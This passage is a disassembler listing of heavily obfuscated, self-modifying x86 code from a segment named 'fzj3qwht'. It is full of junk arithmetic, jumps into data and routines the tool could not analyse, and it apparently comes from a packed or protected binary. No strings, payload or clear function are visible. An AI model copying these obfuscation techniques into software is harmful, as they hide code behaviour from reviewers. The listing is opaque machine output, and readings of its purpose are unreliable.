; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431D68: ; CODE XREF: sub_4301AC+6j call sub_430315 loc_431D6D: ; CODE XREF: fzj3qwht:00431982j sub eax, 3B8F4D56h and eax, 4A0E5340h cmp eax, 75D11C6Eh jmp loc_42FC85 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- dd 1C870000h, 0FD035B24h, 8927C781h, 3F8B8634h, 0FFEB5DE9h dd 36C1F7FFh, 0E925E99Eh, 878h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_431DA4: ; CODE XREF: sub_4301AC:loc_4315EAj ; sub_4301AC+1452j and eax, 4F16BEBCh push edi push 8611541h pop edi add edi, 269821EEh or edi, 0D153DC74h add edi, 5CE6AE0Dh sub edi, 281C5ADh jmp loc_430C2F ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- byte_431DCE db 0Fh ; DATA XREF: fzj3qwht:0042E85Dw ; sub_431167-2252o db 85h dd 0FFFFD699h, 4300AC68h, 0F017E900h, 0FFFFh, 0E1348B0Fh dd 71E9FFFFh, 0FFFFF6h, 0AA8EC081h, 689CF1A3h, 430392h dd 0FFE58BE9h, 0E6C100FFh, 0EF3DE913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_431E06: ; CODE XREF: fzj3qwht:00430B21j rol ebx, 1Eh push ecx mov ecx, offset byte_430D4D jmp near ptr dword_42E9A4+13h ; --------------------------------------------------------------------------- xchg ecx, [edi] loc_431E16: ; CODE XREF: fzj3qwht:loc_431B81j add esi, 795C550Eh mov esi, [esi] call near ptr dword_42F064+10h ; --------------------------------------------------------------------------- db 0 dd 1B03B800h, 4BE9E0B7h, 0FFFFF6h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_431E31: ; CODE XREF: sub_43052F+8j jz loc_431D1A push eax push 0A569401Bh pop eax or eax, 27B29BAh sub eax, 218496B2h add eax, 90613033h xor eax, 0AE711640h jmp loc_43058C ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- db 5Fh dd 0FFE207E9h, 0F0000FFh, 0FFD4A686h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_431E69 proc near ; CODE XREF: fzj3qwht:0042F8F6p ; FUNCTION CHUNK AT 00430F79 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00432872 SIZE 0000000E BYTES xchg eax, [esp+0] pop eax add eax, 0DF0BADACh add eax, ebp push eax jmp loc_430F79 sub_431E69 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_431E7D proc near ; CODE XREF: sub_4318E2+Bp arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi xchg edx, [esp-4+arg_0] jmp near ptr loc_42F8FB+1 sub_431E7D endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFEF72h, 0C30000h ; --------------------------------------------------------------------------- loc_431E94: ; CODE XREF: fzj3qwht:0042FB78j jmp loc_42FE63 ; --------------------------------------------------------------------------- align 2 call sub_4323E7 ; START OF FUNCTION CHUNK FOR sub_431F5F loc_431E9F: ; CODE XREF: sub_431F5F-24Aj jmp loc_430B0E ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_431EA6: ; CODE XREF: sub_42F4AE+46j jz loc_42FDFF mov [esi], edi jge loc_42FBA7 rol edx, 1Eh add edx, 0FC87D7E0h cmp ecx, edx pop edx jmp near ptr dword_42F3E0+1 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 2 loc_431EC6: ; CODE XREF: fzj3qwht:loc_430758j push esi mov esi, 42E9FCh jmp loc_430248 ; --------------------------------------------------------------------------- align 2 mov byte ptr [ecx], 83h xchg eax, [esp] mov ecx, eax pop eax push 31C06743h push edx jmp loc_432061 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_431EE7: ; CODE XREF: fzj3qwht:loc_431B37j ; DATA XREF: fzj3qwht:0043198Eo stosb call sub_430E27 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFFDFBh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_431EF6: ; CODE XREF: sub_431452+3Aj jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0FFCBB9E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_431F03: ; CODE XREF: fzj3qwht:00432685j jmp near ptr dword_42F6C0+9 ; --------------------------------------------------------------------------- db 0, 0C3h ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: fzj3qwht:0042FC7Ej jmp loc_4306DE ; --------------------------------------------------------------------------- align 10h db 0 ; =============== S U B R O U T I N E ======================================= sub_431F11 proc near ; CODE XREF: fzj3qwht:0042F427j ; sub_431452+11A4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042E938 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00431388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043270D SIZE 00000016 BYTES xchg esi, [esp+0] pop esi pop eax sub eax, edx jmp loc_431388 sub_431F11 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_431F1F proc near ; CODE XREF: fzj3qwht:004303C8p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00430450 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043080B SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov byte ptr [ebx], 3 xchg esi, [esp+0] mov ebx, esi pop esi mov esi, 42E7E7h jmp loc_43080B sub_431F1F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_431F38 proc near ; CODE XREF: fzj3qwht:00431A58p ; FUNCTION CHUNK AT 00432279 SIZE 0000001E BYTES xchg edx, [esp+0] pop edx push eax mov eax, offset byte_431499 jmp loc_432279 sub_431F38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_431F49: ; CODE XREF: sub_42FA52:loc_43273Dj xchg ebx, [esp+4+var_4] push offset byte_430E75 jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- dw 0C100h dd 0B6E916CEh db 0DFh, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_431F5F proc near ; CODE XREF: sub_43098E+3p ; fzj3qwht:004309D8j arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042F134 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F167 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430A3A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00430B0E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00430FBB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043112B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004311F0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00431971 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00431D14 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00431E9F SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop edi pop ebx xchg eax, [esp+0] or edx, edx jz loc_4311F5 jmp loc_42F167 sub_431F5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 loc_431F76: ; CODE XREF: fzj3qwht:0042F161j mov byte ptr [esi], 87h pop esi xchg ebx, [esp] mov ecx, ebx jmp loc_42FEEC ; --------------------------------------------------------------------------- dd 0C30000h, 0CC7E8B0Fh, 0EB81FFFFh, 51B688Fh, 0FFEE14E8h dd 990000FFh, 0FFF0F5E9h, 0A98B0FFFh, 0E9FFFFCAh, 0FFFFDEA7h dd 0E7810000h, 45ADA9C4h, 0BF91C3F7h, 0A4E9FEEAh, 0FFFFFEh dd 24048700h, 8B241C87h, 8B5BC3h, 0D556E952h, 108BFFFFh dd 0FFE08FE8h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_431FD9: ; CODE XREF: sub_430E27-1647j jmp loc_431811 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dw 5300h dd 0EFCB8668h, 0C3815B89h, 0FDD99F46h, 8110C3C1h, 0BA5540C3h dd 0B7E38116h, 0E97C4BFBh, 0FFFFF509h ; --------------------------------------------------------------------------- locret_432000: ; CODE XREF: fzj3qwht:00430BA4j retn ; --------------------------------------------------------------------------- loc_432001: ; CODE XREF: fzj3qwht:0043225Dj jmp loc_430B8E ; --------------------------------------------------------------------------- align 4 loc_432008: ; CODE XREF: fzj3qwht:004310DDj jmp loc_431A57 ; --------------------------------------------------------------------------- align 2 word_43200E dw 0B568h ; DATA XREF: fzj3qwht:00430B9Fo db 0E9h, 0C0h, 0E4h byte_432013 db 87h ; DATA XREF: sub_4309EE-886o dd 58562434h, 0FFEA59E9h db 0FFh ; --------------------------------------------------------------------------- locret_43201D: ; CODE XREF: fzj3qwht:0042FE5Dj ; fzj3qwht:loc_430AD1j retn ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_430917 loc_432020: ; CODE XREF: sub_430917+1CC4j jmp near ptr dword_42E794+99h ; END OF FUNCTION CHUNK FOR sub_430917 ; --------------------------------------------------------------------------- align 2 dw 93E9h dd 0FFFFEAh, 58240487h, 59240C87h, 0CBEB6856h, 2AE98424h db 0F0h, 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] align 4 locret_432044: ; CODE XREF: fzj3qwht:loc_430C36j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFE37Ch, 348A0F00h, 99FFFFE4h, 0FFF7CCE9h, 0E80000FFh dd 8DCh db 0 ; --------------------------------------------------------------------------- loc_432061: ; CODE XREF: fzj3qwht:00431EE1j jmp near ptr dword_43037C+2 ; --------------------------------------------------------------------------- word_432066 dw 8B56h ; DATA XREF: sub_431C52+5o dd 243487F0h, 72B00868h, 0E8815813h, 4347FB82h, 67F2C081h dd 16E93018h, 0FFFFEDh, 0C9F68100h, 0E9DD7086h, 0FFFFD00Dh ; =============== S U B R O U T I N E ======================================= sub_432090 proc near ; CODE XREF: sub_42F4AE:loc_430A70p ; FUNCTION CHUNK AT 0042FCC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FDEC SIZE 0000000D BYTES xchg eax, [esp+0] pop eax mov byte ptr [ebx], 87h pop ebx push eax mov eax, ebp jmp loc_42FCC1 sub_432090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C2890F00h, 87FFFFE5h, 3C872404h, 5FC78B24h, 9731FC68h dd 0C0815846h, 72B397CDh, 0FFD7A0E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4320C3: ; CODE XREF: sub_42FA52:loc_42FE43j mov byte ptr [edx], 3 pop edx push ebx mov ebx, eax xchg ebx, [esp-8+arg_4] mov eax, offset loc_43082E jmp loc_4303A4 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_4320D8: ; CODE XREF: sub_431452:loc_431946j add edx, 93485557h or edx, 0B4460D7Fh call sub_4316FE ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 7B48Ch db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_4320F3: ; CODE XREF: sub_431410-1598j jmp loc_431A37 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- dd 0C3810000h, 0F823FE93h, 17D50BBEh, 0E9378B49h, 0FFFFE66Ah dd 0EA8B5500h, 0BA242C87h, 43288Dh, 0FFCAC9E9h db 0FFh, 0 word_43211E dw 0C681h ; DATA XREF: fzj3qwht:004306E4o dd 66802D65h, 6851F503h, 0C14CE647h, 0F7C98159h, 81E54686h dd 7D0E0FF1h, 0CA7BE9C7h, 0FFFFh, 22E8058Dh, 58E80043h dd 0FFFFD1h ; --------------------------------------------------------------------------- loc_43214C: ; CODE XREF: fzj3qwht:00431C80j adc eax, edx jmp near ptr dword_42F604+59h ; --------------------------------------------------------------------------- align 4 xor ebp, ecx adc edi, ecx or eax, 8A499E8Fh add eax, 25ACC358h xor eax, 601F6139h jmp loc_4328E4 ; --------------------------------------------------------------------------- align 10h add edx, 0CE90F015h jmp loc_42F984 ; --------------------------------------------------------------------------- align 4 db 0 byte_43217D db 8Bh, 0C7h, 5Fh ; DATA XREF: sub_42F4AE+1AB6o dd 0A0C015FFh, 0E2E90042h, 0FFFFD2h, 43157168h, 200E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_432196: ; DATA XREF: fzj3qwht:004302E5o xchg edx, [esp] mov ebp, edx pop edx ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] byte_43219D db 0E8h ; DATA XREF: fzj3qwht:0042E841w dw 0E3ABh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_4321A3: ; CODE XREF: fzj3qwht:0042FDABj jmp loc_4322BF ; --------------------------------------------------------------------------- dd 0FE90000h, 0FFFFDAh, 87D98B53h, 58D241Ch, 431DCEh, 0FFD4B0E8h dd 0FA68FFh, 62E90043h, 4 ; --------------------------------------------------------------------------- locret_4321CC: ; CODE XREF: fzj3qwht:004322ABj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4321CF: ; CODE XREF: fzj3qwht:0043003Ej jmp near ptr loc_431604+1 ; --------------------------------------------------------------------------- loc_4321D4: ; CODE XREF: fzj3qwht:0042F927j sub edx, 48A3075h xor edx, 0A3B262F3h add edx, ebp add edx, 7038FA8Bh jmp near ptr dword_42EB78+1Eh ; --------------------------------------------------------------------------- align 2 rol ebx, 1Eh add ebx, 158E2C5Bh add eax, ebx pop ebx push 4313BCh jmp locret_430788 ; --------------------------------------------------------------------------- dd 860F0000h, 0FFFFED79h, 0E895820Fh, 0C881FFFFh, 0E487DFE5h dd 0CC13E950h, 0FFFFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 0FFFFE42Fh, 838C0F00h, 0E8FFFFD2h, 0FFFFD1CDh, 0F644E900h dd 0C300FFFFh, 0FFD073E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432243: ; CODE XREF: sub_42F4AE+14Fj jmp loc_42FCB8 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 6EE9D823h, 0FFFFC5h db 0 ; --------------------------------------------------------------------------- loc_432251: ; CODE XREF: fzj3qwht:00430441j xchg ecx, [esp] mov eax, ecx pop ecx and eax, 70ED8D24h jmp loc_432001 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ebx], 9 xchg esi, [esp] mov ebx, esi pop esi mov edi, 4319B1h jmp loc_42E908 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F38 loc_432279: ; CODE XREF: sub_431F38+Aj mov byte ptr [eax], 8Dh pop eax xor ebx, 1378043Bh sub ebx, 0A0834513h rol ebx, 1Ah and ebx, 0A6F84578h jmp near ptr dword_42FFF0+1 ; END OF FUNCTION CHUNK FOR sub_431F38 ; --------------------------------------------------------------------------- mov byte ptr [esi], 0C6h pop esi call sub_42FC3B loc_4322A0: ; CODE XREF: fzj3qwht:00430A34j jmp loc_42F2E4 ; --------------------------------------------------------------------------- align 2 push 42FD23h jmp locret_4321CC ; --------------------------------------------------------------------------- dd 0E3810000h, 0BECA5BDEh, 0FFF294E8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4322BF: ; CODE XREF: fzj3qwht:loc_4321A3j add edi, 962EEE86h add edi, ebp add edi, 0AE51217Fh loc_4322CD: ; DATA XREF: fzj3qwht:0042FA62o mov [edi], eax push edi mov edi, 42EB96h jmp near ptr dword_42F20C+1Eh ; =============== S U B R O U T I N E ======================================= sub_4322DA proc near ; CODE XREF: sub_431410-15A7p xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h retn sub_4322DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_4322E3: ; CODE XREF: fzj3qwht:0042F2E9j jmp locret_42F571 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0E0h, 0CCh, 0B9h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0E959C18Bh, 0FFFFCF59h, 0ED67E381h ; --------------------------------------------------------------------------- sbb [ecx], ch loc_4322FE: ; CODE XREF: fzj3qwht:0042FCD8j jmp near ptr dword_42F8D8+4 ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_432306: ; CODE XREF: sub_431686-9D3j jmp loc_43278E ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43230D: ; CODE XREF: fzj3qwht:0042EF32j jmp loc_4324F4 ; --------------------------------------------------------------------------- align 4 jmp locret_42FDC8 ; --------------------------------------------------------------------------- align 2 loc_43231A: ; CODE XREF: fzj3qwht:0042E97Ej jmp loc_42EFB8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432322: ; DATA XREF: sub_431452-1102o push esi mov esi, offset loc_432959 jmp loc_432461 ; --------------------------------------------------------------------------- align 2 dw 0C981h dd 98F8A593h, 0F1CCC181h, 850F772Ah, 0FFFFE309h, 0E9C82300h dd 0FFFFE529h, 0B026E381h, 3C87F644h, 24148724h, 0E95AFA8Bh dd 0FFFFCC50h ; --------------------------------------------------------------------------- loc_43235C: ; CODE XREF: fzj3qwht:00431619j sub eax, 0B8DFA5AFh call near ptr dword_4311B8+5 jmp near ptr dword_42FA74+0Fh ; --------------------------------------------------------------------------- dd 0E9530000h, 0FFFFF0DEh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_432376: ; CODE XREF: sub_42F4AE-1A9j jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 0FCEFBF57h, 5DE90042h, 0FFFFF2h, 0B6C18100h, 0E903B379h dd 356h, 0C30000h db 0, 8Bh, 32h ; =============== S U B R O U T I N E ======================================= sub_43239B proc near ; CODE XREF: fzj3qwht:loc_4313CBp xchg eax, [esp+0] pop eax push 9803901h pop edx jmp near ptr word_42F5CE+1 sub_43239B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 3C87h dd 26685F24h, 5A886322h, 4BB1F281h, 0EA81AF9Eh, 4E0E9CE6h dd 0CFD7C281h, 0D503A1BAh, 0FFD279E9h, 0C3FFh, 0E80000C6h dd 0FFFFE2C9h, 0F6810000h, 0B850FDB0h, 0FFEA42E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_4323E7 proc near ; CODE XREF: fzj3qwht:00431E9Ap ; FUNCTION CHUNK AT 0042EB3D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00431B02 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00431BC3 SIZE 00000005 BYTES xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp pop ebp push ebx mov ebx, esi jmp loc_431B02 sub_4323E7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0CF330000h, 0FFC755E9h, 6C600FFh, 240C878Ah, 0E959F18Bh dd 21Eh, 0E99C0000h, 0FFFFCDF6h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43241A proc near ; CODE XREF: sub_430011+Ap xchg edx, [esp+0] pop edx popf retn 0D3C0h sub_43241A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFD25Ch, 0FFD5EAE9h, 0C300FFh ; --------------------------------------------------------------------------- loc_432430: ; CODE XREF: fzj3qwht:0042FEE5j jmp locret_42F53B ; --------------------------------------------------------------------------- align 2 cdq jmp sub_430A5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43243C: ; CODE XREF: sub_42F4AE+11CFj pushf call loc_43151C add al, ch imul ebx ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 0FFFFh dd 5CE90000h, 0FFFFF0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_432450: ; CODE XREF: sub_430F48+Bj sub edi, 0D7C7A51Dh add edi, 92DD1274h jmp loc_4327D8 ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: fzj3qwht:00432328j call near ptr dword_42F364+15h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_432467: ; CODE XREF: fzj3qwht:0042FB84j jmp loc_431228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F2A loc_43246C: ; CODE XREF: sub_430F2A+Aj push offset loc_42F83E jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_430F2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_432476: ; CODE XREF: sub_42FF6B:loc_42EFB2j call loc_43159A loc_43247B: ; CODE XREF: fzj3qwht:00431124j add [edi-1774DBFCh], al pop eax retn ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- align 8 dd offset sub_432AFD dd 0FFEA33E9h, 0A4E900FFh, 0FFFFFDh, 116h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_43249C: ; CODE XREF: sub_4316FE-1D82j jmp locret_42F5B0 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- align 4 dd 0EDAA3A7Ah db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_4324AA: ; CODE XREF: sub_4301B7+1Bj jmp loc_43164B ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 10h jmp loc_42EF28 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0FA1196CEh, 0C9F7E991h, 5E00FFFFh, 3A66C081h, 0E8812A18h dd 3B8F4D56h, 5340E081h, 890F4A0Eh, 0FFFFC2F0h, 0D2D0E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB56 loc_4324E3: ; CODE XREF: sub_42EB56+10j jmp loc_42FAD6 ; END OF FUNCTION CHUNK FOR sub_42EB56 ; --------------------------------------------------------------------------- dd 52E90000h, 0C3FFFFEEh, 0FC558B00h ; --------------------------------------------------------------------------- loc_4324F4: ; CODE XREF: fzj3qwht:loc_43230Dj push ebx pushf push 222A23D9h pop ebx jmp loc_43254D ; --------------------------------------------------------------------------- loc_432501: ; CODE XREF: fzj3qwht:004306C0j cmp dword ptr [ebp-10h], 0 jge near ptr dword_42EA44+0B2h jmp loc_431B61 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432512: ; CODE XREF: fzj3qwht:0042EF38j push 42E88Bh jmp near ptr dword_42E868+1Ah ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push 7E1652F9h pop eax xor eax, 7B1BC665h jmp loc_430A55 ; --------------------------------------------------------------------------- dd 37E9CB85h, 0FFFFDDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430A5C loc_432538: ; CODE XREF: sub_430A5C+Fj add eax, ebp add eax, 3BB1BC4Fh jnz short $+2 push ebp push esp add eax, 0C94FE9E0h ; END OF FUNCTION CHUNK FOR sub_430A5C ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 db 0 ; --------------------------------------------------------------------------- loc_43254D: ; CODE XREF: fzj3qwht:004324FCj xor ebx, 0F975535Bh add ebx, 0B51526ACh sub ebx, 7A8D6698h add ebx, 0EA5BD627h popf jmp loc_4306B4 ; --------------------------------------------------------------------------- db 0C1h dd 525717C1h, 1487D38Bh, 0F2E3E924h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43257B: ; DATA XREF: fzj3qwht:loc_430DC9o xor eax, 27F5436Dh push offset loc_42E8EC jmp loc_432737 ; --------------------------------------------------------------------------- db 0C1h dd 870F1FC5h, 0FFFFCA0Bh, 9BE9CA33h, 0FFFFEFh, 69860F00h dd 81FFFFD5h, 625BF9E2h, 0C84CE98Ch, 8B00FFFFh, 682AF612h dd 431B54h, 393E9h, 81000000h, 12EB4DCBh, 0E9FA8BAAh, 0FFFFFAC4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430917 loc_4325CD: ; CODE XREF: sub_430917+Aj mov byte ptr [edx], 0C3h xchg ebp, [esp+0] mov edx, ebp pop ebp push offset loc_42E83C jmp loc_432020 ; END OF FUNCTION CHUNK FOR sub_430917 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_4325E1: ; CODE XREF: sub_42F4AE-1D5j push offset loc_4303EC jmp locret_4315AC ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4325EE: ; CODE XREF: fzj3qwht:0043131Ej jmp near ptr dword_430EEC+1Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_4325F3: ; CODE XREF: sub_431452:loc_430338j ; DATA XREF: sub_42F4AE:loc_430121o mov byte ptr [eax], 0Fh call sub_431F11 loc_4325FB: ; CODE XREF: sub_431F5F-FA0j jmp near ptr dword_42E794+87h ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_432601: ; CODE XREF: fzj3qwht:004302CEj jmp loc_430A50 ; --------------------------------------------------------------------------- dw 0F7E9h dd 68FFFFE0h, 42EA45h, 0FFCF70E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_431410 loc_432616: ; CODE XREF: sub_431410+14j call sub_42EB56 add [edi], cl loc_43261D: ; CODE XREF: sub_42EB56+F8Cj mov [eax-197E0001h], gs sub eax, 0E8948FA1h das out dx, al ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- db 0FFh dd 0ACE9C3FFh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_432633: ; CODE XREF: fzj3qwht:00430CE1j jmp loc_43195D ; --------------------------------------------------------------------------- db 2 dup(0) word_43263A dw 8Bh ; DATA XREF: fzj3qwht:0043100Eo dword_43263C dd 0E005449Eh, 4324F168h, 0FEA5E900h ; DATA XREF: fzj3qwht:0042EEF6o db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43264B: ; CODE XREF: fzj3qwht:0042F1C4j xchg ecx, [esp] pop ecx jz loc_42FEE0 push ebx mov ebx, edi xchg ebx, [esp] jmp loc_430FEF ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_432662: ; CODE XREF: fzj3qwht:00431758j push 95754FE9h pop esi xor esi, 0C2C0C0Fh sub esi, 8D519ACBh jmp loc_4315AD ; --------------------------------------------------------------------------- loc_432679: ; CODE XREF: fzj3qwht:0042F35Ej or edx, 0B0661E32h push edx mov edx, offset byte_430FAF jmp loc_431F03 ; --------------------------------------------------------------------------- dw 8700h dd 0DB70E9C6h db 2 dup(0FFh), 0 byte_432693 db 52h ; DATA XREF: fzj3qwht:0043018Co dd 1487D18Bh, 471B924h, 6BE90043h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4326A3: ; CODE XREF: fzj3qwht:00431147j add edx, 0A90B6B0Dh push ecx mov ecx, 432421h jmp near ptr dword_42F364+2 ; --------------------------------------------------------------------------- dd 1C87DF1Bh, 243C8724h, 0C9E9DF8Bh, 3FFFFFDh, 0FC7EE9CFh dd 0FFFFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42FF32 loc_4326CE: ; CODE XREF: sub_42FF32+9j jmp loc_42FE9D ; END OF FUNCTION CHUNK FOR sub_42FF32 ; 